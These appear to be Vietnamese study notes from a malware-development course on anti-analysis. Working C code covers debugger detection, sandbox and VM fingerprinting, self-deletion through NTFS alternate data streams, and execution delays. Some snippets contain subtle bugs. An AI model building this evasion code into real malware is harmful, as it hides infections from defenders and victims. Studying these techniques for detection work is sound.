Là các kỹ thuật giúp ngăn cản hoặc làm chậm blue team trong việc phân tích malware để tìm kiếm các static và dynamic signature dùng cho việc xây dựng IoC. Chúng ta sẽ phân ra làm 2 loại là anti-debugging và anti-virtualization.
Sandbox Environments
Sandbox là môi trường biệt lập dùng để thực thi phần mềm mà không làm ảnh hưởng đến hệ thống chạy sandbox. Trong ngữ cảnh bảo mật, sandbox cho phép phân tích malware mà không làm ảnh hưởng đến máy chạy sandbox. Một số loại sandbox phục vụ cho mục đích này là Cuckoo Sandbox, Any.run và Crowdstrike Sandbox.
Anti-Analysis Through Anti-Debugging
Các kỹ thuật anti-debugging được dùng để phát hiện sự tồn tại của việc debugger và thay đổi luồng thực thi nhằm chạy code mà không gây hại. Hơn thế nữa, nếu phát hiện ra debugger, malware có thể dừng tiến trình để nó không thể bị debug được nữa.
Anti-Analysis Through Anti-Virtual Environments
Môi trường ảo hóa (Virtual Environments) là các môi trường biệt lập cung cấp môi trường ảo hóa cho các ứng dụng có thể chạy. Sandbox có thể được xem là một môi trường ảo hóa mặc dù nó không cho phép malware analysts có đầy đủ quyền truy cập vào hệ điều hành như máy ảo.
Việc thực thi malware ở trong máy ảo cần phải được ngăn chặn nếu ta không muốn malware bị phân tích và bị viết các detection rule.
Anti-Debugging - Multiple Techniques
Sau đây là một số kỹ thuật dùng để phát hiện debugger.
Detecting Debuggers Via IsDebuggerPresent
Một trong những cách lâu đời nhất dùng để phát hiện debugger là sử dụng hàm IsDebuggerPresent:
if (IsDebuggerPresent()) { printf("[i] IsDebuggerPresent detected a debugger \n"); // Run harmless code..}
Hàm này sẽ trả về TRUE nếu có debugger được gắn vào tiến trình gọi hàm và FALSE nếu ngược lại.
IsDebuggerPresent Replacement (1)
Tất nhiên, việc sử dụng IsDebuggerPresent có thể làm cho malware trở nên khả nghi hơn và nó còn có thể bị bypass bằng các công cụ chẳng hạn như ScyllaHide, là một plugin giúp anti anti-debugger dành cho x64dbg.
Một cách tiếp cận khác là tự viết hàm IsDebuggerPresent. Cụ thể, ta sẽ kiểm tra xem thành phần BeingDebugged của PEB có được gán giá trị là 1 hay không:
BOOL IsDebuggerPresent2() { // getting the PEB structure#ifdef _WIN64 PPEB pPeb = (PEB*)(__readgsqword(0x60));#elif _WIN32 PPEB pPeb = (PEB*)(__readfsdword(0x30));#endif // checking the 'BeingDebugged' element if (pPeb->BeingDebugged == 1) return TRUE; return FALSE;}
IsDebuggerPresent Replacement (2)
Một cách khác để custom lại hàm IsDebuggerPresent là sử dụng flag NtGlobalFlag ở trong PEB. Trong trường hợp tiến trình bị debug, flag này sẽ có giá trị là 0x70.
Flag NtGlobalFlag chỉ có giá trị là 0x70 nếu tiến trình được tạo ra bởi debugger. Do đó, cách tiếp cận này có thể không sử dụng được nếu debugger được gắn vào tiến trình đã tồn tại.
Detecting Debugger Via NtQueryInformationProcess
Có thể dùng syscall NtQueryInformationProcess để kiểm tra xem tiến trình có đang được debug hay không thông qua 2 flag là ProcessDebugPort và ProcessDebugObjectHandle.
Nguyên mẫu của syscall NtQueryInformationProcess:
NTSTATUS NtQueryInformationProcess( IN HANDLE ProcessHandle, // Process handle for which information is to be retrieved. IN PROCESSINFOCLASS ProcessInformationClass, // Type of process information to be retrieved OUT PVOID ProcessInformation, // Pointer to the buffer into which the function writes the requested information IN ULONG ProcessInformationLength, // The size of the buffer pointed to by the 'ProcessInformation' parameter OUT PULONG ReturnLength // Pointer to a variable in which the function returns the size of the requested information);
Theo mô tả của Microsoft thì flag ProcessDebugPort sẽ yêu cầu syscall NtQueryInformationProcess trả về một giá trị DWORD_PTR là port của debugger đang debug tiến trình thông qua tham số ProcessInformation.
Giá trị khác 0 đồng nghĩa với việc tiến trình đang bị debug bởi một debugger.
NTSTATUS STATUS = NULL;DWORD64 dwIsDebuggerPresent = NULL;// Calling NtQueryInformationProcess with the 'ProcessDebugPort' flagSTATUS = pNtQueryInformationProcess( GetCurrentProcess(), ProcessDebugPort, &dwIsDebuggerPresent, sizeof(DWORD64), NULL);if (STATUS != 0x0) { printf("\t[!] NtQueryInformationProcess [1] Failed With Status : 0x%0.8X \n", STATUS); return FALSE;}// If NtQueryInformationProcess returned a non-zero value, the handle is valid, which means we are being debuggedif (dwIsDebuggerPresent != NULL) { // detected a debugger return TRUE;}
Trong khi đó, flag ProcessDebugObjectHandle sẽ yêu cầu syscall NtQueryInformationProcess trả về handle của debug object, được tạo ra nếu tiến trình bị debug bởi debugger. Tương tự, giá trị yêu cầu sẽ được trả về sẽ thông qua tham số ProcessInformation.
Trong trường hợp NtQueryInformationProcess không thể trả về handle của debug object, nó sẽ trả về mã lỗi 0xC0000353, tương ứng với STATUS_PORT_NOT_SET dựa trên danh sách các giá trị của NTSTATUS.
DWORD64 hProcessDebugObject = NULL;// Calling NtQueryInformationProcess with the 'ProcessDebugObjectHandle' flagSTATUS = pNtQueryInformationProcess( GetCurrentProcess(), ProcessDebugObjectHandle, &hProcessDebugObject, sizeof(DWORD64), NULL);// If STATUS is not 0 and not 0xC0000353 (that is 'STATUS_PORT_NOT_SET')if (STATUS != 0x0 && STATUS != 0xC0000353) { printf("\t[!] NtQueryInformationProcess [2] Failed With Status : 0x%0.8X \n", STATUS); return FALSE;}// If NtQueryInformationProcess returned a non-zero value, the handle is valid, which means we are being debuggedif (hProcessDebugObject != NULL) { // detected a debugger return TRUE;}
Detecting Debugger Via Hardware Breakpoints
Phương pháp này chỉ hoạt động nếu malware analyst có đặt các breakpoint phần cứng (hay còn được gọi là hardware debug registers, là một tính năng của các CPU hiện đại cho phép dừng việc thực thi chương trình khi một địa chỉ vùng nhớ hoặc một event nhất định được kích hoạt). Các hardware breakpoint được hiện thực ở trong bản thân CPU nên nó nhanh hơn và hiệu quả hơn các breakpoint thông thường, vốn phụ thuộc vào OS hoặc debugger để kiểm tra việc thực thi của chương trình một cách định kỳ.
Khi hardware breakpoint được đặt, một số thanh ghi sẽ thay đổi giá trị. Ta có thể lợi dụng điều này để phát hiện debugger. Cụ thể hơn, nếu thanh ghi Dr0, Dr1, Dr2 và Dr3 chứa giá trị khác 0 thì ta biết rằng hardware breakpoint đã được đặt.
Ví dụ bên dưới cho thấy sau khi đặt hardware breakpoint ở syscall ZwAllocateVirtualMemory, thanh ghi Dr0 sẽ chứa địa chỉ của syscall đó:
Để lấy giá trị của các thanh ghi trên, chúng ta sẽ sử dụng hàm GetThreadContext1. Giá trị trả về của hàm này là cấu trúc CONTEXT mà có chứa giá trị của các thanh ghi Dr0, Dr1, Dr2 và Dr3.
Một cách khác để phát hiện debugger là kiểm tra xem danh sách các tiến trình hiện tại trong máy có tiến trình nào khớp với một blacklist chứa tên của các debugger hay không.
Ví dụ, blacklist có thể có dạng như sau:
#define BLACKLISTARRAY_SIZE 5 // Number of elements inside the arrayWCHAR* g_BlackListedDebuggers[BLACKLISTARRAY_SIZE] = { L"x64dbg.exe", // xdbg debugger L"ida.exe", // IDA disassembler L"ida64.exe", // IDA disassembler L"VsDebugConsole.exe", // Visual Studio debugger L"msvsmon.exe" // Visual Studio debugger};
Tip
Chúng ta có thể sử dụng hàm băm để che giấu các chuỗi trong blacklist nhằm giảm thiểu số lượng các IoC.
Hàm bên dưới sử dụng CreateToolhelp32Snapshot để lấy danh sách các tiến trình hiện tại trong máy và so sánh với blacklist:
BOOL BlackListedProcessesCheck() { HANDLE hSnapShot = NULL; PROCESSENTRY32W ProcEntry = { .dwSize = sizeof(PROCESSENTRY32W) }; BOOL bSTATE = FALSE; hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); if (hSnapShot == INVALID_HANDLE_VALUE) { printf("\t[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError()); goto _EndOfFunction; } if (!Process32FirstW(hSnapShot, &ProcEntry)) { printf("\t[!] Process32FirstW Failed With Error : %d \n", GetLastError()); goto _EndOfFunction; } do { // Loops through the 'g_BlackListedDebuggers' array and comparing each element to the // Current process name captured from the snapshot for (int i = 0; i < BLACKLISTARRAY_SIZE; i++){ if (wcscmp(ProcEntry.szExeFile, g_BlackListedDebuggers[i]) == 0) { // Debugger detected wprintf(L"\t[i] Found \"%s\" Of Pid : %d \n", ProcEntry.szExeFile, ProcEntry.th32ProcessID); bSTATE = TRUE; break; } } } while (Process32Next(hSnapShot, &ProcEntry));_EndOfFunction: if (hSnapShot != NULL) CloseHandle(hSnapShot); return bSTATE;}
Breakpoint Detection Via GetTickCount64
Việc dừng quá trình thực thi có thể được dùng làm dấu hiệu phát hiện debugger. Cụ thể hơn, ta sẽ sử dụng hàm GetTickCount64 để lấy 2 mốc thời gian (đơn vị milliseconds) và tính khoảng thời gian giữa chúng. Nếu khoảng thời gian này là quá nhiều so với một mức nào đó mà ta tự quy định, ta biết rằng tiến trình đang bị debug.
Ví dụ, khi chạy malware ở trên máy và thấy T2 - T1 là 20 giây, ta có thể sử dụng giá trị này làm giới hạn. Nếu trong lúc chạy ở máy nạn nhân, giá trị T2 - T1 lớn hơn 20 thì ta biết rằng malware đang bị debug.
Hàm QueryPerformanceCounter tương tự với GetTickCount64 nhưng do nó sử dụng một performance counter có độ phân giải cao được cung cấp bởi phần cứng nên nó có thể đếm thời gian với đơn vị là nanoseconds (hay count).
Hàm bên dưới sẽ trả về TRUE nếu Time2.QuadPart - Time1.QuadPart vượt quá giá trị 100000 count (tương đương với 0.1 milliseconds).
Hàm DebugBreak sẽ gây ra một breakpoint exception (EXCEPTION_BREAKPOINT - 0x80000003) ở trong tiến trình hiện tại. Exception này được mong chờ là sẽ được xử lý bởi debugger đang gắn vào tiến trình hiện tại nếu có. Mục đích của kỹ thuật này là trigger exception và xem thử có debugger nào cố gắng xử lý nó hay không.
Info
Ở trong Windows API, exception handler là đoạn code được dùng để xử lý ngoại lệ và có cấu trúc như sau:
__try { // guarded body of code } __except (filter-expression) { // exception-handler block }
Với filter-expression có thể là một trong số các giá trị sau:
EXCEPTION_EXECUTE_HANDLER - xử lý ngoại lệ.
EXCEPTION_CONTINUE_SEARCH - tiếp tục tìm kiếm cho một exception handler khác.
EXCEPTION_CONTINUE_EXECUTION - tiếp tục thực thi.
Ngoài ra, chúng ta sẽ sử dụng hàm GetExceptionCode để kiểm tra code của exception.
BOOL DebugBreakCheck() { __try { DebugBreak(); } __except (GetExceptionCode() == EXCEPTION_BREAKPOINT ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) { // if the exception is equal to EXCEPTION_BREAKPOINT, EXCEPTION_EXECUTE_HANDLER is executed and the function return FALSE return FALSE; } // if the exception is not equal to EXCEPTION_BREAKPOINT, EXCEPTION_CONTINUE_SEARCH is executed and the function return TRUE return TRUE;}
Có 2 trường hợp sẽ xảy ra:
Nếu exception code là EXCEPTION_BREAKPOINT thì đồng nghĩa với việc exception được raised từ DebugBreakchưa được xử lý bởi debugger. Khi đó, ta cần phải xử lý exception bằng cách sử dụng EXCEPTION_EXECUTE_HANDLER nhằm cho phép đoạn code trong khối lệnh __except được thực thi.
Nếu exception code không phải là EXCEPTION_BREAKPOINT thì đồng nghĩa với việc exception đã được xử lý bởi debugger mà không dùng đoạn exception handler của chúng ta và exception hiện tại là một exception nào đó khác. Trong trường hợp này, ta cần sử dụng EXCEPTION_CONTINUE_EXECUTION để chuyển giao việc xử lý exception đến cho một handler nào đó khác có trong call stack.
Hàm OutputDebugStringW trong Windows API là một công cụ hữu ích để phát hiện sự hiện diện của debugger. Hàm này được thiết kế nhằm gửi một chuỗi ký tự đến debugger để hiển thị. Khi có debugger, nó sẽ cập nhật error code cuối cùng (giá trị trả về từ GetLastError) thành 0, biểu thị không có lỗi.
If the application does not have a debugger and the system debugger is not active, OutputDebugString does nothing.
Như vậy, nếu không có debugger (kể cả system debugger) thì OutputDebugString sẽ không làm gì mà cụ thể hơn là nó sẽ không tác động đến giá trị trả về của GetLastError. Dẫn đến, chúng ta không thể phụ thuộc vào GetLastError sau khi gọi OutputDebugString để biết được rằng có debugger hay không.
Thay vào đó, ta nên phụ thuộc vào việc debugger có gán giá trị của last error code thành 0 hay không.
Có thể thấy trong đoạn code bên dưới, ta gán last error code thành một giá trị khác 0 để xem thử có debugger nào gán nó lại về 0 hay không:
BOOL OutputDebugStringCheck() { SetLastError(1); OutputDebugStringW(L"MalDev Academy"); // if GetLastError is 0, then OutputDebugStringW succeeded if (GetLastError() == 0) { return TRUE; } return FALSE;}
Nếu GetLastError là 0 thì đồng nghĩa với việc có debugger.
Chúng ta sẽ triển khai một kỹ thuật chống debug bằng cách tự động xóa malware khi phát hiện có debugger.
Windows’s Alternate Data Stream (ADS)
Hệ thống tập tin NTFS có một chức năng tên là Alternate Data Stream (ADS), là một tính năng ẩn được dùng để tăng tính tương thích với các file trong hệ thống tập tin Macintosh. ADS cho phép các file có nhiều hơn một luồng dữ liệu (data stream hay stream of data). Mỗi file có ít nhất một luồng dữ liệu và ở trong Windows thì luồng dữ liệu mặc định là :$DATA.
Để tạo ra một ADS hoặc ghi dữ liệu vào ADS thì ta có thể dùng toán tử : sau tên file. Ví dụ, câu lệnh sau ghi chuỗi secret vào ADS có tên là hidden của file.txt:
Ngoài ra, ta cũng có thể dùng lệnh sau của PowerShell để liệt kê các ADS của file:
Get-Item -Path <Path> -Stream *
Deleting A Running Binary
Ở trong Windows, chúng ta không thể xóa một file nếu có một tiến trình đang sử dụng nó.
Việc sử dụng DeleteFileA cũng không thành công và GetLastError sẽ trả về lỗi ERROR_ACCESS_DENIED.
Để giải quyết vấn đề này, đối với file thực thi, ta sẽ đổi tên default data stream :$DATA thành một data stream khác rồi xóa data stream :$DATA. Khi đó, file thực thi sẽ bị xóa khỏi ổ đĩa (nhưng vẫn còn tồn tại ở trong vùng nhớ).
Important
Việc đổi tên của data stream mặc định thực chất là tạo ra một data stream mới rồi sao chép nội dung của data stream cũ qua.
Ví dụ, đây là danh sách các data stream trước khi thực thi của malware:
Ta sẽ sử dụng hàm GetModuleFileNameW để lấy ra đường dẫn của tiến trình hiện tại bằng cách truyền NULL vào tham số đầu tiên:
WCHAR szPath [MAX_PATH * 2] = { 0 };ZeroMemory(szPath, sizeof(szPath));// Used to get the current file nameif (GetModuleFileNameW(NULL, szPath, MAX_PATH * 2) == 0) { printf("[!] GetModuleFileNameW Failed With Error : %d \n", GetLastError()); return FALSE;}
Retrieve File Handle
Sau đó, ta cần lấy ra handle của file thông qua hàm CreateFile với đường dẫn vừa lấy được và access flag là DELETE để ta có thể xóa nó.
HANDLE hFile = INVALID_HANDLE_VALUE;// Opening a handle to the current filehFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);if (hFile == INVALID_HANDLE_VALUE) { printf("[!] CreateFileW [R] Failed With Error : %d \n", GetLastError()); return FALSE;}
Renaming The Data Stream
Chúng ta sẽ sử dụng hàm SetFileInformationByHandle để đổi tên của data stream mặc định. Nguyên mẫu của hàm này:
BOOL SetFileInformationByHandle( [in] HANDLE hFile, // Handle to the file for which to change information. [in] FILE_INFO_BY_HANDLE_CLASS FileInformationClass, // Flag value that specifies the type of information to be changed [in] LPVOID lpFileInformation, // Pointer to the buffer that contains the information to change for [in] DWORD dwBufferSize // The size of 'lpFileInformation' buffer in bytes);
Giá trị truyền vào FileInformationClass cần phải là giá trị của enum FILE_INFO_BY_HANDLE_CLASS mà cụ thể là FileNameInfo.
Khi FileInformationClass có giá trị là FileNameInfo, đối số truyền vào lpFileInformation cần phải là con trỏ đến cấu trúc FILE_RENAME_INFO, được định nghĩa như sau:
typedef struct _FILE_RENAME_INFO { union { BOOLEAN ReplaceIfExists; DWORD Flags; } DUMMYUNIONNAME; BOOLEAN ReplaceIfExists; HANDLE RootDirectory; DWORD FileNameLength; // The size of 'FileName' in bytes WCHAR FileName[1]; // The new name} FILE_RENAME_INFO, *PFILE_RENAME_INFO;
Hai tham số cần khởi tạo giá trị là FileNameLength và FileName với FileName được mô tả bởi Microsoft như sau:
Như vậy, FileName cần phải là một chuỗi Unicode mà bắt đầu bằng ký tự : và kết thúc bằng ký tự \0.
// The new data stream name#define NEW_STREAM L":Maldev"PFILE_RENAME_INFO pRename = NULL;const wchar_t* NewStream = (const wchar_t*)NEW_STREAM;SIZE_T sRename = sizeof(FILE_RENAME_INFO) + sizeof(NewStream);// Allocating enough buffer for the 'FILE_RENAME_INFO' structurepRename = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sRename);if (!pRename) { printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError()); return FALSE;}// Setting the new data stream name buffer and size in the 'FILE_RENAME_INFO' structurepRename->FileNameLength = sizeof(NewStream);RtlCopyMemory(pRename->FileName, NewStream, sizeof(NewStream));
Sau khi khởi tạo cấu trúc FILE_RENAME_INFO thì ta gọi SetFileInformationByHandle như sau:
// Renaming the data streamif (!SetFileInformationByHandle(hFile, FileRenameInfo, pRename, sRename)) { printf("[!] SetFileInformationByHandle [R] Failed With Error : %d \n", GetLastError()); return FALSE;}
Với pRename chính là con trỏ đến cấu trúc FILE_RENAME_INFO mà ta đã khởi tạo.
Refreshing File Data Stream
Sau khi gọi SetFileInformationByHandle lần đầu để đổi tên data stream, handle của file cần phải được đóng lại và mở ra sử dụng hàm CloseHandle và hàm CreateFile. Điều này giúp đảm bảo handle của file có chứa data stream mới.
Deleting The Data Stream
Bước cuối cùng là xóa data stream :$DATA nhằm xóa file ra khỏi disk. Để làm điều này, ta cũng sử dụng hàm SetFileInformationByHandle nhưng với flag FileDispositionInfo, giúp đánh dấu file sẽ bị xóa sau khi handle đến file bị đóng lại. Khi sử dụng FileDispositionInfo, đối số truyền vào tham số lpFileInformation cần phải là một con trỏ đến cấu trúc FILE_DISPOSITION_INFO , được định nghĩa như sau:
typedef struct _FILE_DISPOSITION_INFO { BOOLEAN DeleteFile; // Set to 'TRUE' to mark the file for deletion} FILE_DISPOSITION_INFO, *PFILE_DISPOSITION_INFO;
Với thành phần DeleteFile cần phải được gán bằng TRUE để thực hiện xóa file.
FILE_DISPOSITION_INFO Delete = { 0 };// Cleaning up some structuresZeroMemory(&Delete, sizeof(FILE_DISPOSITION_INFO));// Marking the file for deletion (used in the 2nd SetFileInformationByHandle call) Delete.DeleteFile = TRUE;// Marking for deletion after the file's handle is closedif (!SetFileInformationByHandle(hFile, FileDispositionInfo, &Delete, sizeof(Delete))) { printf("[!] SetFileInformationByHandle [D] Failed With Error : %d \n", GetLastError()); return FALSE;}
Anti-Virtual Environments - Multiple Techniques
Anti-Virtualization Via Hardware Specs
Môi trường ảo hóa không có đầy đủ quyền truy cập đến phần cứng của host system (hệ thống chạy máy ảo). Đặc điểm này có thể được dùng để phát hiện xem malware có đang được chạy ở trong môi trường ảo hóa hay không.
Note
Cách tiếp cận này có thể không chính xác do máy nạn nhân cũng có thể chạy ở cấu hình thấp giống với máy ảo.
Các cấu hình mà ta sẽ kiểm tra là:
CPU: kiểm tra xem có ít hơn 2 CPU hay không.
RAM: kiểm tra xem có ít hơn 2 GB hay không.
Số lượng các USB khác nhau đã được cắm vào có ít hơn 2 hay không.
CPU Check
Chúng ta sẽ sử dụng hàm GetSystemInfo để kiểm tra số lượng CPU. Hàm này sẽ trả về thông tin thông qua cấu trúc SYSTEM_INFO.
Có thể kiểm tra dung lượng RAM bằng cách sử dụng hàm GlobalMemoryStatusEx. Thông tin trả về sẽ nằm trong thành phần ullTotalPhys của cấu trúc MEMORYSTATUSEX, vốn chứa thông tin về trạng thái hiện tại của bộ nhớ vật lý và bộ nhớ ảo trong hệ thống.
Ta hoàn toàn có thể tùy chỉnh các thông số phần cứng ở trên cũng như là cắm USB vào máy ảo để giả lập một máy bình thường nhằm bypass các kiểm tra của malware.
Anti-Virtualization Via Machine Resolution
Trong môi trường của sandbox, độ phân giải của màn hình thường có giá trị rất thấp hoặc không hợp lý và do đó mà ta có thể dùng đặc điểm này để làm dấu hiệu nhận diện sandbox.
Info
Một số độ phân giải mà ta cho là hợp lý:
1920x1080, 1920x1200, 1920x1600, 1920x900
2560x1080, 2560x1200, 2560x1600, 1920x900
1440x1080, 1440x1200, 1440x1600, 1920x900
Trước tiên, ta cần xác định số lượng màn hình của host system thông qua hàm EnumDisplayMonitors, có nguyên mẫu như sau:
Với kiểu LPMONITORINFO của tham số lpmi được trả về có định nghĩa như sau:
typedef struct tagMONITORINFO { DWORD cbSize; // The size of the structure RECT rcMonitor; // Display monitor rectangle, expressed in virtual-screen coordinates RECT rcWork; // Work area rectangle of the display monitor, expressed in virtual-screen coordinates DWORD dwFlags; // Represents attributes of the display monito} MONITORINFO, *LPMONITORINFO;
Thành phần mà ta cần quan tâm là rcMonitor với kiểu dữ liệu là RECT, giúp định nghĩa một hình chữ nhật thông qua 2 cặp tọa độ X và Y của góc trái-trên và góc phải-dưới. Sau khi có rcMonitor, ta sẽ tính toán chiều rộng và chiều dài của màn hình bằng hai công thức sau:
Sau khi có chiều rộng và chiều dài thì ta tiến hành so sánh chúng với các giá trị mà ta cho là hợp lý ở trên để kiểm tra sự hiện diện của sandbox:
// The callback function called whenever 'EnumDisplayMonitors' detects an displayBOOL CALLBACK ResolutionCallback(HMONITOR hMonitor, HDC hdcMonitor, LPRECT lpRect, LPARAM ldata) { int X = 0, Y = 0; MONITORINFO MI = { .cbSize = sizeof(MONITORINFO) }; if (!GetMonitorInfoW(hMonitor, &MI)) { printf("\n\t[!] GetMonitorInfoW Failed With Error : %d \n", GetLastError()); return FALSE; } // Calculating the X coordinates of the desplay X = MI.rcMonitor.right - MI.rcMonitor.left; // Calculating the Y coordinates of the desplay Y = MI.rcMonitor.top - MI.rcMonitor.bottom; // If numbers are in negative value, reverse them if (X < 0) X = -X; if (Y < 0) Y = -Y; if ((X != 1920 && X != 2560 && X != 1440) || (Y != 1080 && Y != 1200 && Y != 1600 && Y != 900)) *((BOOL*)ldata) = TRUE; // sandbox is detected return TRUE;}
Cuối cùng, ta truyền callback vào tham số thứ 3 của EnumDisplayMonitors:
BOOL CheckMachineResolution() { BOOL SANDBOX = FALSE; // SANDBOX will be set to TRUE by 'EnumDisplayMonitors' if a sandbox is detected EnumDisplayMonitors(NULL, NULL, (MONITORENUMPROC)ResolutionCallback, (LPARAM)(&SANDBOX)); return SANDBOX;}
Có thể thấy, cờ SANDBOX được truyền vào EnumDisplayMonitors sẽ được dùng để chứa kết quả nhận diện sandbox.
Tip
Nếu sử dụng máy ảo, ta có thể bypass được kiểm tra trên của malware bằng cách chỉnh độ phân giải.
Anti-Virtualization Via File Name
Các sandbox thường thay đổi tên file thực thi của malware để dễ phân loại chẳng hạn như đổi thành giá trị băm MD5 của file. Dựa vào đặc điểm này, ta có thể kiểm tra sự hiện diện của sandbox.
Cụ thể hơn, ta sẽ gọi hàm GetModuleFileNameA để lấy tên file (có chứa đường dẫn) của tiến trình hiện tại.
CHAR Path [MAX_PATH * 3];// Getting the current filename (with the full path)if (!GetModuleFileNameA(NULL, Path, MAX_PATH * 3)) { printf("\n\t[!] GetModuleFileNameA Failed With Error : %d \n", GetLastError()); return FALSE;}
CHAR cName [MAX_PATH];// Prevent a buffer overflow - getting the filename from the full pathif (lstrlenA(PathFindFileNameA(Path)) < MAX_PATH) lstrcpyA(cName, PathFindFileNameA(Path));
Cuối cùng, sử dụng hàm isdigit để xác định số lượng ký tự là số ở trong tên file.
DWORD dwNumberOfDigits = NULL;// Counting number of digitsfor (int i = 0; i < lstrlenA(cName); i++){ if (isdigit(cName[i])) dwNumberOfDigits++;}// Max digits allowed: 3 if (dwNumberOfDigits > 3){ return TRUE;}
Nếu có hơn 3 ký tự là số thì ta xác định đây là sandbox.
Tip
Để giả lập việc đổi tên file nhị phân của sandbox, ta có thể cấu hình để Visual Studio biên dịch malware thành một tên file tùy ý.
Anti-Virtualization Via Number Of Running Processes
Một cách khác để phát hiện môi trường ảo hóa là số lượng các tiến trình đang chạy do sandbox cài rất ít chương trình. Trong khi đó, hệ thống Windows thường có ít nhất 60-70 tiến trình cùng chạy.
Tất nhiên, cách làm này không giúp xác định được sự hiện diện của máy ảo một cách chắc chắn.
Để có được số lượng các tiến trình, ta sẽ sử dụng các kỹ thuật enum tiến trình chẳng hạn như [[MalDev - Process Enumeration#enumprocesses|EnumProcesses]] hay [[MalDev - Process Enumeration#ntquerysysteminformation|NtQuerySystemInformation]].
Anti-Virtualization Via User Interaction
Sandbox thường chạy trong môi trường headless mà không có màn hình hay các thiết bị ngoại vi chẳng hạn như chuột hoặc bàn phím. Môi trường headless thường được chạy bởi script hoặc tool và thiếu đi sự tương tác của người dùng. Đặc điểm này có thể được dùng làm dấu hiệu nhận biết sandbox. Ví dụ, malware có thể kiểm tra xem môi trường thực thi malware có bất kỳ sự kiện click chuột hoặc nhấn phím nào trong một khoảng thời gian nhất định hay không.
Như đã mô tả ở Using Windows APIs, ta có thể theo dõi sự kiện click chuột bằng cách sử dụng API hooking thông qua hàm SetWindowsHookExW rồi đếm số lần click chuột:
Cụ thể hơn, ta sẽ thực hiện đếm số lần sự kiện click chuột xảy ra trong khoảng 20 giây:
// Monitor mouse clicks for 20 seconds#define MONITOR_TIME 20000int main() { HANDLE hThread = NULL; DWORD dwThreadId = NULL; // running the hooking function in a seperate thread for 'MONITOR_TIME' ms hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)MouseClicksLogger, NULL, NULL, &dwThreadId); if (hThread) { printf("\t\t<<>> Thread %d Is Created To Monitor Mouse Clicks For %d Seconds <<>>\n\n", dwThreadId, (MONITOR_TIME / 1000)); WaitForSingleObject(hThread, MONITOR_TIME); } // ...}
Nếu có nhiều hơn 5 lần click chuột thì ta khẳng định không có sandbox và ngược lại:
// if less than 5 clicks - its a sandboxif (g_dwMouseClicks > 5) printf("[+] Passed The Test \n");else printf("[-] Posssibly A Virtual Environment \n");
Sandbox thường bị giới hạn thời gian thực thi nên chúng ta có thể gây ra độ trễ nhất định để khiến cho sandbox bị tắt trước khi nó có thể phân tích malware.
Detecting Fast-Forwards
Một vài sandbox lại triển khai các cách để ngăn cản việc delay chẳng hạn như rút ngắn thời gian delay thông qua API Hooking. Do đó, để đảm bảo thời gian delay không bị rút ngắn, ta cần kiểm tra bằng cách dùng hàm GetTickCount64.
Cụ thể, ta sẽ lấy 2 mốc thời gian là trước và sau khi delay xảy ra rồi tính hiệu của chúng để xác định thời gian delay thực sự:
BOOL DelayFunction(DWORD dwMilliSeconds){ DWORD T0 = GetTickCount64(); // The code needed to delay the execution for 'dwMilliSeconds' ms DWORD T1 = GetTickCount64(); // Slept for at least 'dwMilliSeconds' ms, then 'DelayFunction' succeeded if ((DWORD)(T1 - T0) < dwMilliSeconds) return FALSE; else return TRUE;}
Nếu thời gian delay ít hơn so với lượng dwMilliSeconds mà ta quy định thì đồng nghĩa với việc malware được chạy ở trong môi trường sandbox.
Delaying Execution Via WaitForSingleObject
Chúng ta có thể sử dụng WaitForSingleObject để thực hiện delay trong một khoảng thời gian nhất định bằng cách chờ một event rỗng (được tạo ra bằng cách truyền NULL vào 4 tham số của hàm CreateEvent):
BOOL DelayExecutionVia_WFSO(FLOAT ftMinutes) { // converting minutes to milliseconds DWORD dwMilliSeconds = ftMinutes * 60000; HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL); DWORD _T0 = NULL, _T1 = NULL; _T0 = GetTickCount64(); // Sleeping for 'dwMilliSeconds' ms if (WaitForSingleObject(hEvent, dwMilliSeconds) == WAIT_FAILED) { printf("[!] WaitForSingleObject Failed With Error : %d \n", GetLastError()); return FALSE; } _T1 = GetTickCount64(); // Slept for at least 'dwMilliSeconds' ms, then 'DelayExecutionVia_WFSO' succeeded, otherwize it failed if ((DWORD)(_T1 - _T0) < dwMilliSeconds) return FALSE; CloseHandle(hEvent); return TRUE;}
Giá trị của đối số dwMilliSeconds (thuộc kiểu DWORD) chính là số milliseconds mà ta cần delay. Lý do mà ta dùng đơn vị milliseconds là vì hàm GetTickCount64 trả về thời gian tính bằng milliseconds và ta cần sử dụng nó để đảm bảo việc delay được thực hiện thành công.
Delaying Execution Via MsgWaitForMultipleObjectsEx
Tương tự với WaitForSingleObject, ta cũng có thể sử dụng MsgWaitForMultipleObjectsEx để delay trong một khoảng thời gian nhất định:
Ta cũng có thể dùng syscall NtWaitForSingleObject (là phiên bản Native API của WaitForSingleObject) để delay trong một khoảng thời gian nhất định. Nguyên mẫu của syscall này:
NTSTATUS NtWaitForSingleObject( [in] HANDLE Handle, // Handle to the wait object [in] BOOLEAN Alertable, // Whether an alert can be delivered when the object is waiting [in] PLARGE_INTEGER Timeout // Pointer to LARGE_INTEGER structure specifying time to wait for);
Thời gian chờ của NtWaitForSingleObject được quy định là các khoảng âm 100-nanoseconds hay còn được gọi là các tick. Một tick tương ứng với 0.0001 miliseconds. Giá trị mà ta cần truyền vào tham số Timeout sẽ là giá trị âm của dwMilliSeconds * 10000 với dwMilliSeconds (thuộc kiểu DWORD) là số miliseconds mà ta cần delay.
Thực hiện delay với NtWaitForSingleObject:
